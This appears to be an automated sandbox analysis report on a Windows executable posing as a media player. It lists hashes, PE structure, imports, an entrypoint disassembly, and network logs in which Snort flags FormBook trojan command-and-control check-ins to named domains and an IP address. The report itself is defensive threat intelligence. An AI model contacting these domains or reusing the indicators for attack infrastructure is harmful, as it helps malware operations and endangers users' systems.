SHA256:	fdf39d043cc55d6a72b1fe01c9067bb7591d5c379798499148521e6158afeea0
SHA512:	98e5dd2734fd7ac0515e834f0afc817de1135503c493c3037f6f1e60c070e24e2f34c53ed08a215affd2f3add1e79cc0e6559c9a02c4431b40c2c6b1a89a522f
SSDEEP:	24576:0tXZPH7fBQJyk/0fHvmd8MKTD9/J+fyAB5:KV885T5m
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static PE Info

General
Entrypoint:	0x4793d4
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, BYTES_REVERSED_LO, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	030d446cabf252026c031abcf4f0ab07

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 00477950h
call 00007FA300DFC921h
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword ptr [0047F6E4h]
mov eax, dword ptr [eax]
call 00007FA300E4FB47h
mov eax, dword ptr [0047F6E4h]
mov eax, dword ptr [eax]
mov edx, 0047943Ch
call 00007FA300E4F5CEh
mov ecx, dword ptr [0047F470h]
mov eax, dword ptr [0047F6E4h]
mov eax, dword ptr [eax]
mov edx, dword ptr [00477438h]
call 00007FA300E4FB36h
mov eax, dword ptr [0047F6E4h]
mov eax, dword ptr [eax]
call 00007FA300E4FBAAh
call 00007FA300DFA629h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x84000	0x2b0e	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x91000	0x3cc00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x89000	0x76b8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x88000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x84800	0x6ac	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x76bf8	0x76c00	False	0.525567434211	data	6.60247687013	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.itext	0x78000	0x1448	0x1600	False	0.510653409091	data	5.75400115895	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x7a000	0x58b0	0x5a00	False	0.634635416667	data	6.11695147571	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.bss	0x80000	0x3b9c	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.idata	0x84000	0x2b0e	0x2c00	False	0.311257102273	data	5.00399365969	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.tls	0x87000	0x34	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rdata	0x88000	0x18	0x200	False	0.05078125	data	0.210826267787	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x89000	0x76b8	0x7800	False	0.627376302083	data	6.67138909841	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x91000	0x3cc00	0x3cc00	False	0.431238747428	data	6.86350480663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_CURSOR	0x92048	0x134	data	English	United States
RT_CURSOR	0x9217c	0x134	data	English	United States
RT_CURSOR	0x922b0	0x134	data	English	United States
RT_CURSOR	0x923e4	0x134	data	English	United States
RT_CURSOR	0x92518	0x134	data	English	United States
RT_CURSOR	0x9264c	0x134	data	English	United States
RT_CURSOR	0x92780	0x134	data	English	United States
RT_BITMAP	0x928b4	0x1d0	data	English	United States
RT_BITMAP	0x92a84	0x1e4	data	English	United States
RT_BITMAP	0x92c68	0x1d0	data	English	United States
RT_BITMAP	0x92e38	0x1d0	data	English	United States
RT_BITMAP	0x93008	0x1d0	data	English	United States
RT_BITMAP	0x931d8	0x1d0	data	English	United States
RT_BITMAP	0x933a8	0x1d0	data	English	United States
RT_BITMAP	0x93578	0x1d0	data	English	United States
RT_BITMAP	0x93748	0x1d0	data	English	United States
RT_BITMAP	0x93918	0x1d0	data	English	United States
RT_BITMAP	0x93ae8	0xe8	GLS_BINARY_LSB_FIRST	English	United States
RT_BITMAP	0x93bd0	0x46b8	data	Russian	Russia
RT_ICON	0x98288	0x2e8	data
RT_ICON	0x98570	0x128	GLS_BINARY_LSB_FIRST
RT_ICON	0x98698	0xea8	data
RT_ICON	0x99540	0x8a8	data
RT_ICON	0x99de8	0x568	GLS_BINARY_LSB_FIRST
RT_ICON	0x9a350	0x25a8	data
RT_ICON	0x9c8f8	0x10a8	data
RT_ICON	0x9d9a0	0x468	GLS_BINARY_LSB_FIRST
RT_DIALOG	0x9de08	0x52	data
RT_DIALOG	0x9de5c	0x52	data
RT_DIALOG	0x9deb0	0x248	data	Russian	Russia
RT_DIALOG	0x9e0f8	0x11c	data	Russian	Russia
RT_DIALOG	0x9e214	0x18c	data	Russian	Russia
RT_DIALOG	0x9e3a0	0x1e2	data	Russian	Russia
RT_DIALOG	0x9e584	0x1fe	data	Russian	Russia
RT_DIALOG	0x9e784	0x29e	data	Russian	Russia
RT_DIALOG	0x9ea24	0x178	data	Russian	Russia
RT_DIALOG	0x9eb9c	0x290	data	Russian	Russia
RT_DIALOG	0x9ee2c	0xd0c	data	Russian	Russia
RT_DIALOG	0x9fb38	0x268	data	Russian	Russia
RT_STRING	0x9fda0	0x504	data	Russian	Russia
RT_STRING	0xa02a4	0x41e	data	Russian	Russia
RT_STRING	0xa06c4	0x19e	data	Russian	Russia
RT_STRING	0xa0864	0xacc	data
RT_STRING	0xa1330	0x624	data
RT_STRING	0xa1954	0x2b4	data
RT_STRING	0xa1c08	0xb4	data
RT_STRING	0xa1cbc	0xf0	data
RT_STRING	0xa1dac	0x22c	data
RT_STRING	0xa1fd8	0x3d8	data
RT_STRING	0xa23b0	0x388	data
RT_STRING	0xa2738	0x370	data
RT_STRING	0xa2aa8	0x3c8	data
RT_STRING	0xa2e70	0xd4	data
RT_STRING	0xa2f44	0xa4	data
RT_STRING	0xa2fe8	0x2a0	data
RT_STRING	0xa3288	0x458	data
RT_STRING	0xa36e0	0x38c	data
RT_STRING	0xa3a6c	0x2b4	data
RT_RCDATA	0xa3d20	0x10	data
RT_RCDATA	0xa3d30	0x38c	data
RT_RCDATA	0xa40bc	0x96a	RIFF (little-endian) data, WAVE audio, MPEG Layer 3, mono 11025 Hz	English	United States
RT_RCDATA	0xa4a28	0x866	RIFF (little-endian) data, WAVE audio, MPEG Layer 3, mono 11025 Hz	English	United States
RT_RCDATA	0xa5290	0x27fe2	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 8 bit, mono 22050 Hz	English	United States
RT_RCDATA	0xcd274	0x222	Delphi compiled form 'T__649235470'
RT_GROUP_CURSOR	0xcd498	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xcd4ac	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xcd4c0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xcd4d4	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xcd4e8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xcd4fc	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xcd510	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_ICON	0xcd524	0x76	data
RT_VERSION	0xcd59c	0x358	data	Russian	Russia
RT_MANIFEST	0xcd8f4	0x1ee	XML 1.0 document, ASCII text, with very long lines, with no line terminators	Russian	Russia

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
user32.dll	GetKeyboardType, DestroyWindow, LoadStringA, MessageBoxA, CharNextA
kernel32.dll	GetACP, Sleep, VirtualFree, VirtualAlloc, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, CompareStringA, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
user32.dll	CreateWindowExA, WindowFromPoint, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageW, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageW, PeekMessageA, OffsetRect, OemToCharA, MessageBoxA, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageW, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongW, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMessageTime, GetMessagePos, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameA, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassLongA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageW, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CharNextW, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
gdi32.dll	UnrealizeObject, StretchDIBits, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetPaletteEntries, SetMapMode, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, ResizePalette, RectVisible, RealizePalette, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, LPtoDP, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPoint32A, GetTextAlign, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetROP2, GetPolyFillMode, GetPixelFormat, GetPixel, GetPaletteEntries, GetObjectA, GetNearestPaletteIndex, GetMapMode, GetGraphicsMode, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileDescriptionA, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetDCPenColor, GetDCBrushColor, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBkMode, GetBkColor, GetBitmapBits, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateEnhMetaFileA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, CloseEnhMetaFile, BitBlt
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
kernel32.dll	lstrcpyA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualProtect, VirtualAlloc, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MultiByteToWideChar, MulDiv, LockResource, LoadResource, LoadLibraryW, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalSize, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetUserDefaultLCID, GetTickCount, GetThreadLocale, GetStdHandle, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCPInfo, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, EnumCalendarInfoA, EnterCriticalSection, DeleteFileA, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegFlushKey, RegCloseKey
oleaut32.dll	GetErrorInfo, SysFreeString
ole32.dll	CreateStreamOnHGlobal, IsAccelerator, OleDraw, OleSetMenuDescriptor, CoCreateInstance, CoGetClassObject, CoUninitialize, CoInitialize, IsEqualGUID
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayPutElement, SafeArrayGetElement, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy, VariantClear, VariantInit
comctl32.dll	_TrackMouseEvent, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
kernel32	AddAtomA

Version Infos

Description	Data
LegalCopyright	????????? ????? 2007-2008 Maksim V
InternalName	StrMaS EFxxer
FileVersion	13.0.1.2
CompanyName	MaS EFxx
LegalTrademarks	StrMaS EFxxyer
ProductName	SMaS EFxxer - Reload Edition
ProductVersion	2.0.1.2
FileDescription	StrMaS EFxxayer
OriginalFilename	PlayMaS EFx.CPL
Translation	0x0419 0x04e4

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Russian	Russia

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
01/13/22-20:23:52.812988	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49817	80	192.168.2.3	34.102.136.180
01/13/22-20:23:52.812988	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49817	80	192.168.2.3	34.102.136.180
01/13/22-20:23:52.812988	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49817	80	192.168.2.3	34.102.136.180
01/13/22-20:23:52.928047	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49817	34.102.136.180	192.168.2.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2022 20:22:17.443627119 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.443675995 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.443768024 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.459492922 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.459517956 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.504117966 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.504232883 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.784475088 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.784498930 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.785058975 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.785144091 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.788213968 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.829865932 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.852348089 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.852442026 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.852468967 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.852499008 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.852551937 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.852574110 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.852593899 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.852639914 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.852657080 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.852674961 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.852705002 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.852736950 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.852773905 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.852797031 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.852814913 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.852871895 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.852879047 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.852900028 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.852966070 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.852967978 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.852988958 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.853005886 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.853039980 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.853071928 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.853095055 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.853112936 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.853132963 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.853178024 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.853180885 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.853195906 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.853246927 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.853275061 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.853285074 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.853302956 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.853358984 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.853384018 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.853389025 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.853405952 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.853458881 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.853480101 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.853492022 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.853509903 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.853562117 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.853601933 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.853610992 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.853629112 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.853667974 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.853692055 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.853693008 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.853708029 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.853765965 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.853792906 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.853796005 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.853815079 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.853897095 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.853910923 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.853919029 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.853936911 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.853991985 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.854010105 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.854018927 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.854034901 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.854087114 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.854126930 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.854132891 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.854150057 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.854198933 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.854213953 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.854224920 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.854286909 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.854305029 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.854324102 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.854346991 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.854379892 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.854387045 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.854406118 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.854468107 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.854485989 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.854548931 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.854561090 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.854581118 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.854609966 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.854623079 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.854629993 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.854644060 CET	443	49746	162.159.130.233	192.168.2.3
Jan 13, 2022 20:22:17.854695082 CET	49746	443	192.168.2.3	162.159.130.233
Jan 13, 2022 20:22:17.854712963 CET	49746	443	192.168.2.3	162.159.130.233

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2022 20:22:17.405059099 CET	52806	53	192.168.2.3	8.8.8.8
Jan 13, 2022 20:22:17.427440882 CET	53	52806	8.8.8.8	192.168.2.3
Jan 13, 2022 20:22:45.879775047 CET	64021	53	192.168.2.3	8.8.8.8
Jan 13, 2022 20:22:45.899193048 CET	53	64021	8.8.8.8	192.168.2.3
Jan 13, 2022 20:22:55.894634008 CET	60784	53	192.168.2.3	8.8.8.8
Jan 13, 2022 20:22:55.914685011 CET	53	60784	8.8.8.8	192.168.2.3
Jan 13, 2022 20:23:52.752675056 CET	58361	53	192.168.2.3	8.8.8.8
Jan 13, 2022 20:23:52.776423931 CET	53	58361	8.8.8.8	192.168.2.3
Jan 13, 2022 20:24:13.213082075 CET	50728	53	192.168.2.3	8.8.8.8
Jan 13, 2022 20:24:13.288265944 CET	53	50728	8.8.8.8	192.168.2.3
Jan 13, 2022 20:24:15.312231064 CET	53777	53	192.168.2.3	8.8.8.8
Jan 13, 2022 20:24:15.380373001 CET	53	53777	8.8.8.8	192.168.2.3
Jan 13, 2022 20:24:15.384635925 CET	57106	53	192.168.2.3	8.8.8.8
Jan 13, 2022 20:24:15.420062065 CET	53	57106	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 13, 2022 20:22:17.405059099 CET	192.168.2.3	8.8.8.8	0xd5a9	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:22:45.879775047 CET	192.168.2.3	8.8.8.8	0xd6ce	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:22:55.894634008 CET	192.168.2.3	8.8.8.8	0x3a3f	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:23:52.752675056 CET	192.168.2.3	8.8.8.8	0x7ebe	Standard query (0)	www.sentlogisticsja.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:24:13.213082075 CET	192.168.2.3	8.8.8.8	0x54d0	Standard query (0)	www.senerants.tech	A (IP address)	IN (0x0001)
Jan 13, 2022 20:24:15.312231064 CET	192.168.2.3	8.8.8.8	0x83c4	Standard query (0)	www.senerants.tech	A (IP address)	IN (0x0001)
Jan 13, 2022 20:24:15.384635925 CET	192.168.2.3	8.8.8.8	0x79d3	Standard query (0)	www.senerants.tech	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 13, 2022 20:22:17.427440882 CET	8.8.8.8	192.168.2.3	0xd5a9	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Jan 13, 2022 20:22:17.427440882 CET	8.8.8.8	192.168.2.3	0xd5a9	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
